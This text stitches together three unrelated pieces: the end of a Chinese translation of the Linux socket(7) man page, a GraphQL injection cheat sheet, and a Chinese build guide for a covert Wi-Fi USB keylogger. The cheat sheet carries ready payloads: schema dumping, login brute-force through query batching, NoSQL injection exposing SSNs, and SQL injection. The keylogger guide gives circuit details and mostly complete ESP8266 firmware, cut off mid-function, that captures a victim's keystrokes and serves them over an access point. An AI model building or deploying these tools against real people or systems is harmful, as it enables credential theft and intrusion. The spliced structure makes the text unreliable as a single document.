poll (2) 或 .BR select (2) 找出发生事件的套接字. 另一种选择(在 Linux 2.2 中)是用 .B F_SETSIG fcntl 设置一个实时信号: 实时信号的处理程序被调用时还会收到它的 .IR siginfo_t 的 .I si_fd 区域中的文件描述符. 更多信息参见 .BR fcntl (2) .PP 在某些环境中(例如:多个进程访问单个套接字), 引发 .B SIGIO 的东西在进程对信号作出反应时可能已经消失了. 如果这样的话, 进程应该再次等待, 因为 Linux 稍后会重发此信号. .\" .SH辅助消息 .SH SYSCTLS 可以通过目录 .B /proc/sys/net/core/* 下的文件或者用 .BR sysctl (2) 系统调用来访问内核套接字的网络系统控制(sysctl)信息. .TP .B rmem_default 指明套接字接收缓冲区的默认字节数. .TP .B rmem_max 指明套接字接收缓冲区的最大字节数, 用户可以通过使用 .B SO_RCVBUF 套接字选项来设置此值. .TP .B wmem_default 指明套接字发送缓冲区的默认字节数. .TP .B wmem_max 指明发送缓冲区的最大字节数,用户可以通过使用套接字的 .B SO_SNDBUF 选项来设置它的值. .TP .BR message_cost " 和 " message_burst 设定记号存储桶过滤器, 在存储桶中保存一定数量的外部网络 事件导致的警告消息. .TP .B netdev_max_backlog 在全局输入队列中包的最大数目. .TP .B optmem_max 每个套接字的象 iovecs 这样的辅助数据和用户控制数据的最大长度. .\" netdev_fastroute 没有介绍 .SH IOCTLS 以上的 IO 控制值可以通过 .BR ioctl (2) 来访问: .RS .nf .IB error " = ioctl(" ip_socket ", " ioctl_type ", " &value_result ");" .fi .RE .TP .B SIOCGSTAMP 返回 .B timeval 类型的结构,其中包括有发送给用户的最后一个包接收时的时间戳。 被用来测量精确的 RTT (round trip time) 时间. .BR "struct timeval" . 结构说明请参考 .BR setitimer (2) .\" .TP .BR SIOCSPGRP 在异步 IO 操作结束或者接收到紧急数据时,用来设置进程或进程组, 向它(它们)发送 .B SIGIO 或者 .B SIGURG 信号, 参数为指向 .BR pid_t . 类型的指针。如果参数为正,则发送信号到相应的进程。如果参数为 负,则发送信号到此参数绝对值 id 所属的进程组的所有进程。 如果它没有 .B CAP_KILL 功能或者它的有效 UID 不是 0, 进程只能选择它自己或自己的进程组来 接收信号. .TP .B FIOASYNC 改变 .B O_ASYNC 标志来打开或者关闭套接字的异步 IO 模式。异步IO模式指的是:当 新的 I/O 事件发生时,将发出 .B SIGIO 信号或者用 .B F_SETSIG 设置的信号. .IP 参数为整形布尔量. .\" .TP .BR SIOCGPGRP 获得当前接收 .B SIGIO 或者 .B SIGURG 信号的进程或者进程组, 如果两个信号都没有设置, 则为 0. .PP 有效的 fcntl: .TP .BR FIOCGETOWN 与 IO 控制中的 SIOCGPGRP 相同. .TP .BR FIOCSETOWN 与 IO 控制中的 SIOCSPGRP 相同. .SH 注意 Linux 假设有一半的发送/接收缓冲区是用来处理内核结构, 因此, 系统控制的缓冲区是网络可访问的缓冲区的两倍. .SH 缺陷 .B CONFIG_FILTER 没有介绍 .B SO_ATTACH_FILTER 和 .B SO_DETACH_FILTER 套接字选项. 在 libpcap 库有此接口的说明 .SH VERSIONS 版本 .B SO_BINDTODEVICE 在 Linux 2.0.30 中引入. .B SO_PASSCRED 是在 Linux 2.2 中引入的新选项. sysctl 是在 Linux 2.2. 中引入的新概念。 .SH 作者 本手册页由 Andi Kleen 编写. .PP .SH 又见 .BR socket (2), .BR ip (7), .BR setsockopt (2), .BR getsockopt (2), .BR packet (7), .BR ddp (7) .SH "[中文版维护人]" .B liguoping <liguoping_11@sina.com> .SH "[中文版最新更新]" .BR 2000/11/06 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# GraphQL Injection > GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type ## Summary - [GraphQL injection](#graphql-injection) - [Summary](#summary) - [Tools](#tools) - [Enumeration](#enumeration) - [Common GraphQL endpoints](#common-graphql-endpoints) - [Identify an injection point](#identify-an-injection-point) - [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection) - [Enumerate Database Schema via Suggestions](#enumerate-database-schema-via-suggestions) - [Enumerate the types' definition](#enumerate-the-types-definition) - [List path to reach a type](#list-path-to-reach-a-type) - [Exploit](#exploit) - [Extract data](#extract-data) - [Extract data using edges/nodes](#extract-data-using-edgesnodes) - [Extract data using projections](#extract-data-using-projections) - [Use mutations](#use-mutations) - [GraphQL Batching Attacks](#graphql-batching-attacks) - [JSON list based batching](#json-list-based-batching) - [Query name based batching](#query-name-based-batching) - [Injections](#injections) - [NOSQL injection](#nosql-injection) - [SQL injection](#sql-injection) - [References](#references) ## Tools * [swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) - Scripting engine to interact with a graphql endpoint for pentesting purposes * [doyensec/graph-ql](https://github.com/doyensec/graph-ql/) - GraphQL Security Research Material * [doyensec/inql](https://github.com/doyensec/inql) - A Burp Extension for GraphQL Security Testing * [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Lists the different ways of reaching a given type in a GraphQL schema * [andev-software/graphql-ide](https://github.com/andev-software/graphql-ide) - An extensive IDE for exploring GraphQL API's * [mchoji/clairvoyancex](https://github.com/mchoji/clairvoyancex) - Obtain GraphQL API schema despite disabled introspection * [nicholasaleks/CrackQL](https://github.com/nicholasaleks/CrackQL) - A GraphQL password brute-force and fuzzing utility * [nicholasaleks/graphql-threat-matrix](https://github.com/nicholasaleks/graphql-threat-matrix) - GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations * [dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) - Security Auditor Utility for GraphQL APIs * [IvanGoncharov/graphql-voyager)](https://github.com/IvanGoncharov/graphql-voyager) - Represent any GraphQL API as an interactive graph * [Insomnia](https://insomnia.rest/) - Cross-platform HTTP and GraphQL Client ## Enumeration ### Common GraphQL endpoints Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoint. A more complete list is available at [danielmiessler/SecLists/graphql.txt](https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt). ```ps1 /v1/explorer /v1/graphiql /graph /graphql /graphql/console/ /graphql.php /graphiql /graphiql.php ``` ### Identify an injection point ```js example.com/graphql?query={__schema{types{name}}} example.com/graphiql?query={__schema{types{name}}} ``` Check if errors are visible. ```javascript ?query={__schema} ?query={} ?query={thisdefinitelydoesnotexist} ``` ### Enumerate Database Schema via Introspection URL encoded query to dump the database schema. ```js fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}} ``` URL decoded query to dump the database schema. ```javascript fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } } query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } ``` Single line queries to dump the database schema without fragments. ```js __schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}} ``` ```js {__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}} ``` ### Enumerate Database Schema via Suggestions When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema. ```json { "message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?", } ``` ### Enumerate the types' definition Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type ```javascript {__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}} ``` ### List path to reach a type ```php $ git clone https://gitlab.com/dee-see/graphql-path-enum $ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill Found 27 ways to reach the "Skill" node from the "Query" node: - Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill - Query (query) -> Query (skills) -> Skill ``` ## Exploit ### Extract data ```js example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}} ``` ### Extract data using edges/nodes ```json { "query": "query { teams{ total_count,edges{ node{ id,_id,about,handle,state } } } }" } ``` ### Extract data using projections :warning: Don’t forget to escape the " inside the **options**. ```json {doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}} ``` ### Use mutations Mutations work like function, you can use them to interact with the GraphQL. ```javascript # mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}} # mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}} ``` ### GraphQL Batching Attacks Common scenario: * Password Brute-force Amplification Scenario * Rate Limit bypass * 2FA bypassing #### JSON list based batching > Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application. Query batching works by defining an array of operations in the request body. Each operation can have its own query, variables, and operation name. The server processes each operation in the array and returns an array of responses, one for each query in the batch. ```json [ { "query":"..." },{ "query":"..." } ,{ "query":"..." } ,{ "query":"..." } ... ] ``` #### Query name based batching ```json { "query": "query { qname: Query { field1 } qname1: Query { field1 } }" } ``` Send the same mutation several times using aliases ```js mutation { login(pass: 1111, username: "bob") second: login(pass: 2222, username: "bob") third: login(pass: 3333, username: "bob") fourth: login(pass: 4444, username: "bob") } ``` ## Injections > SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database. ### NOSQL injection Use `$regex`, `$ne` from []() inside a `search` parameter. ```json { doctors( options: "{\"limit\": 1, \"patients.ssn\" :1}", search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }") { firstName lastName id patients{ssn} } } ``` ### SQL injection Send a single quote `'` inside a graphql parameter to trigger the SQL injection ```powershell { bacon(id: "1'") { id, type, price } } ``` Simple SQL injection inside a graphql field. ```powershell curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27 ``` ## References * [Introduction to GraphQL](https://graphql.org/learn/) * [GraphQL Introspection](https://graphql.org/learn/introspection/) * [API Hacking GraphQL - @ghostlulz - jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2) * [GraphQL abuse: Bypass account level permissions through parameter smuggling - March 14, 2018 - @Detectify](https://labs.detectify.com/2018/03/14/graphql-abuse/) * [Discovering GraphQL endpoints and SQLi vulnerabilities - Sep 23, 2018 - Matías Choren](https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e) * [Securing Your GraphQL API from Malicious Queries - Feb 21, 2018 - Max Stoiber](https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b) * [GraphQL NoSQL Injection Through JSON Types - June 12, 2017 - Pete Corey](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/) * [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Nov 6th 2018 - @jobert](https://hackerone.com/reports/435066) * [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r](https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/) * [How to set up a GraphQL Server using Node.js, Express & MongoDB - 5 NOVEMBER 2018 - Leonardo Maldonado](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/) * [GraphQL cheatsheet - DEVHINTS.IO](https://devhints.io/graphql) * [HIP19 Writeup - Meet Your Doctor 1,2,3 - June 22, 2019 - Swissky](https://swisskyrepo.github.io/HIP19-MeetYourDoctor/) * [Introspection query leaks sensitive graphql system information - @Zuriel](https://hackerone.com/reports/291531) * [Graphql Bug to Steal Anyone’s Address - Sept 1, 2019 - Pratik Yadav](https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417) * [GraphQL Batching Attack - RENATAWALLARM - DECEMBER 13, 2019](https://lab.wallarm.com/graphql-batching-attack/) * [GraphQL for Pentesters presentation by ACCEIS - 01/12/2022](https://acceis.github.io/prez-graphql/) - [source](https://github.com/Acceis/prez-graphql) * [Exploiting GraphQL - Aug 29, 2021 - AssetNote - Shubham Shah](https://blog.assetnote.io/2021/08/29/exploiting-graphql/)
sec-knowleage
# HID-USBKeyLogger > 文章作者 [Sarah-Briggs](https://github.com/Sarah-Briggs) & [Atomic-Crash](https://github.com/Atomic-Crash) & [r0fus0d](https://github.com/No-Github) > 注 : 笔记中源代码和相应库在其图片目录下 <p align="center"> <img src="../../../../../assets/img/banner/HID-USBKeylogger.jpg"> </p> --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **文章/教程** - [手把手教你DIY一个硬件键盘记录器](https://www.freebuf.com/geek/241398.html) - [50元制作PS2键盘无线监控装置 ](https://www.freebuf.com/geek/58895.html) **资源** - [spacehuhn/wifi_keylogger](https://github.com/spacehuhn/wifi_keylogger) --- ## 简介 硬件键盘记录器在国内外的电商上有很多成品,但是价格略贵,那么本次参考 freebuf 上教程自己制作一个。 既然要做成无线版的,较为靠谱的就是在原硬件上加焊 wifi 芯片,使攻击者可以在以其为中心的 WiFi 覆盖范围内获取信息。 主要思路就是做一个基于 ESP8266+CH9350 的键盘记录器,且带有 Wi-Fi 功能,可以存储记录到的键盘输入,并可以通过其发出的 Wi-Fi 网络,在手机端查看记录到的用户键入数据。 --- ## 制作过程 ### WiFi模块 WiFi 部分,选用 ESP8266 芯片,廉价而且功能强大的 SOC(系统级芯片),广泛应用与物联网领域。这里使用了 ESP8266-07S 模块,体积非常小,而且引出了常用的引脚,满足于该设计的需要。 ESP8266 芯片使用了 3.3V 的直流电源,体积小,功耗低,支持透传,丢包率较低,重点是便宜。 相应的还有 ESP8266-02,03 等等,它们使用的核心芯片都是相同的,唯一不同就是引出的引脚不同,而且有的系列对核心芯片还加了金属屏蔽壳,有的可外接陶瓷天线等。 ESP-07 则是带外置天线的,就算使用环境有信号屏蔽,也还有一定改善的余地。 --- ### 键盘记录部分 这里采用 CH9350 芯片,用于将 HID 协议转换为 UART 协议,以便分析记录键盘数据。后端的数据分析和记录在 ESP8266 上实现。 CH9350 是一款 USB 键鼠转串口通讯控制芯片,它可以将 HID 协议和 UART() 协议互相转换,而且完成度很高,性价比十足。 --- ### 整体电路设计 我们要使用 CH9350 将 USB 键盘的 HID 协议转为 UART 协议,使用 ESP8266 解析和记录键盘输入内容,并且提供 WI-FI 访问功能,电路图和 PCB 图如下: - https://lceda.cn/editor#id=1c71835d278545a79ea0c36eabb426a3 - https://lceda.cn/editor#id=bc6800ad5bce4ea4b76987282ac3377f - 左下角是电源模块,前面固件选用时提到过,WiFi 芯片 ESP8266 是使用的 3.3V 供电,USB 接口都是 5V 的供电输入,强行直连会导致电大过大从而引起升温甚至烧毁。因此本设计需要采用 AMS1117-3.3 芯片进行降压处理。 - 正下方是 ESP8266-07S 模块,我们使用它的通用异步收发传输接口-RXD(接收端)来接收上面两片 CH9350 芯片发出的数据。它连接到键盘端 CH9350 的 UART 的 TX(发送端),旁听这两片 CH9350 之间的通讯内容。这样排布的一个好处就是:键盘记录器的分析模块站在了“旁观者”的角度,即使它出现了解析速度慢,甚至宕机的情况,也不会对键盘产生任何影响(就算卡也卡不到受害者)。 - 正中央的两颗芯片是 CH9350。根据官方使用手册,使用两颗 CH9350 分别作为**连接键盘的下位机和连接电脑的上位机**,统一使用 3.3V 降压模块进行供电。 - 两侧是 USB 接头和母座,用于插入电脑的 USB 接口,和连接 USB 键盘。(这两个有实物图,上面提及的芯片在"研发时期"不幸烧毁,没得看了) --- ### 固件部分 具体的键盘数据解析、数据存储、Wi-Fi 功能,是需要我们编写相关程序的,再烧录进 ESP8266 固件中,最后在底板上进行模块化拼接后使用。 ESP8266 支持通过 Arduino 开发,这为我们的固件开发提供了便利,因此本设计在 Arduino 环境下完成开发。 根据设计需求,ESP8266 的固件需要实现如下功能: - 通过 UART 串口读取 CH9350 之间的键盘数据,并进行解析; - 将数据储存进 SPIFSS 中,并提供读取和清空的功能; - 提供通过 Wi-Fi 查看记录内容的功能。 通电后,两颗 CH9350 芯片会自动进入通信模式,在 UART 接口上传输多种数据帧。具体的过程和数据帧信息,可查阅官方文档。而其中我们需要的是**有效键值帧**,其包含用户在键盘上按下的按键信息。 其格式如下: 截取到的是 USB 键盘的数据,帧格式一般是这样的: ```C 57AB 83 0C 12 01 00 00 04 00 00 00 00 00 12 17 // A键被按下 57AB 83 0C 12 01 00 00 00 00 00 00 00 00 13 14 // 按键被放开 ``` 前面 6 位都是固定的,后面的 8 位是标准的 USB 键盘数据,最后 2 位是序列号和校验。 前 6 位可以作为识别有效键值帧的特征(检测到这样的数值就可以确定是按键按下了),接下来读取后 8 位即可得到击键信息。*具体的数据表可参考 USB HID Usage Table 手册* 本次使用的固件编译器是 Arduino ,一款便捷灵活、方便上手的开源电子原型平台。 Arduino IDE,就是在计算机中的程序开发环境。只要在 IDE 中编写程序代码,将程序上传到 Arduino 电路板后,程序便会告诉 Arduino 电路板要做些什么了。 Arduino 中,实现识别有效键值帧的示例代码如下: ```C void loop() { while (Serial.available() > 0) { // 串口缓冲区有数据 if (Serial.read() == 0x83){ // 帧的第二位 83 是第一个特征 delay(10); // 适当延迟,等待后续数据到达串口缓冲区 if (Serial.read() == 0x0C){ delay(10); if (Serial.read() == 0x12){ delay(10); if (Serial.read() == 0x01){ //此处读取8位键盘数据 } } } } } } ``` ESP8266 模块通过连接到上位机的 CH9350 的 TX 端口,接收键盘的数据帧。并将其解码为按键信息。接下来将获得的数据保存在 SPIFSS中。 SPIFSS(Serial Peripheral Interface Flash File System)是 ESP8266 模块自带的一个闪存,它的数据在断电后也不会丢失。 ESP8266-07S 模块中,这个闪存的大小为 4M,足够我们保存相当多的键盘记录了。*一个按键按下的记录信息大约要花32字节去存的话,4兆大约可以存按下键盘13万次的内容。* 最后是 WiFi 部分:创建一个 Wi-Fi 网络,攻击者连接上以后就可以查看或清空键盘记录。部分核心代码如下: ```C #include <ESP8266WiFi.h> #include <ESPAsyncTCP.h> #include <ESPAsyncWebServer.h> const char *ssid = "USBKeyLogger"; // 创建的接入点的名称 const char *password = "12345678"; // 接入点的密码 AsyncWebServer server(80); // 在 80 端口开启服务(ip 为 192.168.4.1) void setup() { WiFi.mode(WIFI_STA); // Wi-Fi为接入点模式 WiFi.softAP(ssid,password); // 开启Wi-Fi server.on("/", HTTP_GET, [](AsyncWebServerRequest *request){ // 当访问根目录时显示记录内容 request->send(SPIFFS, "/keyLog.txt", "text/plain"); }); server.on("/clear", HTTP_GET, [](AsyncWebServerRequest *request){ // 当访问“/claer”时清空已有记录(手机浏览器末尾写/clear即可清除先前的内容) logFile.close(); logFile = SPIFFS.open("/keyLog.txt", "w"); request->send(200, "text/plain", "Log File Cleared!"); }); server.begin(); // 开启服务器 } ``` ### 实物制作 为了更好的将电路集成,最好是将这些模块焊接在一块定制化的 PCB 电路板上(Printed Circuit Board,印制电路板,即电子元器件连接起来的支撑体) 现在大多数成熟的电子产品都是集成焊接在 PCB 板上的。因为 PCB 板可以更好的集成电子元件,使产品体积、结构上更优异,可以更稳定的运行。(手机,导航仪,电脑主板都是这样的) 推荐一个绘图工具:Altium designer - 下载地址:https://www.altium.com.cn/ (好用,没广告,但是收费) 如果用普通的覆铜板也不是不可以,就是体积大,不美观。 完成 PCB 设计后,将其工程文件导出为 Gerber 文件,提交给 PCB 生产厂商,即可投入生产,也可以直接在淘宝上搜"PCB定制",把工程文件发给客服就可以定制了(本设计定制10片大约是200元)。 收到打印出来的成品后,如下: ESP8266 模块需要先烧录程序,再焊接到 PCB 上。否则要先断开 ESP8266 的 RX 触点和 PCB 的连接才可正常烧录,有些麻烦。烧录需要使用 USB2TTL 模块,淘宝买块 CH340 什么的就好,大概6块钱。 烧录需要用到 Arduino IDE,点击“文件-首选项”,在“附加开发板管理器网址”中输入: ``` http://arduino.esp8266.com/stable/package_esp8266com_index.json ``` 保存后打开“工具-开发板-开发板管理器”,在“贡献”类型中找到“esp8266”,点击安装 > 注:如果速度慢可以配置代理 可以在“工具-开发板”中找到“Generic ESP8266 Module”。选择它,并将其它设置(如Flash Size等)调整到如下图所示: 具体的烧录的方法是,将 ESP8266 芯片的 TXD0、RXD0、VCC、GND、GPIO0 连接到 USB2TTL 上。 连接完成后,将 USB2TTL 插上电脑的 usb 端口。 最后在端口菜单中,选择 USB2TTL 的 COM 口(除了 COM1,可能是 COM3、COM4),然后点击“项目-上传”,将代码烧录到开发板上。 比较麻烦的部分是要安装 ESP8266 的扩展,而且有可能会头文件丢失 > 注:这里在 GitHub 上找到了 lib 文件终于能成功的在代码里 include 到,相应库放在图片目录下,解压放到 arduino 的 libraries ```C #include <ESP8266WiFi.h> #include <FS.h> #include <ESPAsyncTCP.h> #include <ESPAsyncWebServer.h> const char *ssid = "USBKeyLogger"; const char *password = "12345678"; AsyncWebServer server(80); File logFile; void setup() { Serial.begin(115200); WiFi.mode(WIFI_STA); WiFi.softAP(ssid,password); SPIFFS.begin(); logFile = SPIFFS.open("/keyLog.txt", "a+"); server.on("/", HTTP_GET, [](AsyncWebServerRequest *request){ request->send(SPIFFS, "/keyLog.txt", "text/plain"); }); server.on("/clear", HTTP_GET, [](AsyncWebServerRequest *request){ logFile.close(); logFile = SPIFFS.open("/keyLog.txt", "w"); request->send(200, "text/plain", "Log File Cleared!"); }); server.begin(); } void loop() { while (Serial.available() > 0) { //57 AB 83 0C 12 01 00 00 04 00 00 00 00 00 12 17 if (Serial.read() == 0x83){ delay(10); if (Serial.read() == 0x0C){ delay(10); if (Serial.read() == 0x12){ delay(10); if (Serial.read() == 0x01){ delay(10); Serial.read(); delay(10); Serial.read(); delay(10); logFile.print(getKey(Serial.read())); } } } } } } String getKey(int serialData){ if(serialData==0x00){return "";} if(serialData==0x04){return "A";} if(serialData==0x05){return "B";} if(serialData==0x06){return "C";} if(serialData==0x07){return "D";} if(serialData==0x08){return "E";} if(serialData==0x09){return "F";} if(serialData==0x0A){return "G";} if(serialData==0x0B){return "H";} if(serialData==0x0C){return "I";} if(serialData==0x0D){return "J";} if(serialData==0x0E){return "K";} if(serialData==0x0F){return "L";} if(serialData==0x10){return "M";} if(serialData==0x11){return "N";} if(serialData==0x12){return "O";} if(serialData==0x13){return "P";} if(serialData==0x14){return "Q";} if(serialData==0x15){return "R";} if(serialData==0x16){return "S";} if(serialData==0x17){return "T";} if(serialData==0x18){return "U";} if(serialData==0x19){return "V";} if(serialData==0x1A){return "W";} if(serialData==0x1B){return "X";} if(serialData==0x1C){return "Y";} if(serialData==0x1D){return "Z";} if(serialData==0x1E){return "[1 or !]";} if(serialData==0x1F){return "[2 or @]";} if(serialData==0x20){return "[3 or #]";} if(serialData==0x21){return "[4 or $]";} if(serialData==0x22){return "[5 or %]";} if(serialData==0x23){return "[6 or ^]";} if(serialData==0x24){return "[7 or &]";} if(serialData==0x25){return "[8 or *]";} if(serialData==0x26){return "[9 or (]";} if(serialData==0x27){return "[10 or )]";} if(serialData==0x28){return "[ENTER]";} if(serialData==0x29){return "[ESC]";} if(serialData==0x2A){return "[BACKSPACE]";} if(serialData==0x2B){return "[TAB]";} if(serialData==0x2C){return "[SPACE]";} if(serialData==0x2D){return "[- or _]";} if(serialData==0x2E){return "[= or +]";} if(serialData==0x2F){return "[[ or {]";} if(serialData==0x30){return "[] or }]";} if(serialData==0x31){return "[\\ or |]";} if(serialData==0x32){return "[` or ~]";} if(serialData==0x33){return "[; or :]";} if(serialData==0x34){return "[' or ”]";} if(serialData==0x35){return "[~ or `]";} if(serialData==0x36){return "[, or <]";} if(serialData==0x37){return "[. or >]";} if(serialData==0x38){return "[/ or ?]";} if(serialData==0x39){return "[CAPS]";} if(serialData==0x3A){return "[F1]";} if(serialData==0x3B){return "[F2]";} if(serialData==0x3C){return "[F3]";} if(serialData==0x3D){return "[F4]";} if(serialData==0x3E){return "[F5]";} if(serialData==0x3F){return "[F6]";} if(serialData==0x40){return "[F7]";} if(serialData==0x41){return "[F8]";} if(serialData==0x42){return "[F9]";} if(serialData==0x43){return "[F10]";} if(serialData==0x44){return "[F11]";} if(serialData==0x45){return "[F12]";} if(serialData==0x46){return "[PRT_SCR]";} if(serialData==0x47){return "[SCOLL_LOCK]";} if(serialData==0x48){return "[PAUSE]";} if(serialData==0x49){return "[INS]";} if(serialData==0x4A){return "[HOME]";} if(serialData==0x4B){return "[PAGEUP]";} if(serialData==0x4C){return "[DEL]";} if(serialData==0x4D){return "[END]";} if(serialData==0x4E){return "[PAGEDOWN]";} if(serialData==0x4F){return "[RIGHT_ARROW]";} if(serialData==0x50){return "[LEFT_ARROW]";} if(serialData==0x51){return "[DOWN_ARROW]";} 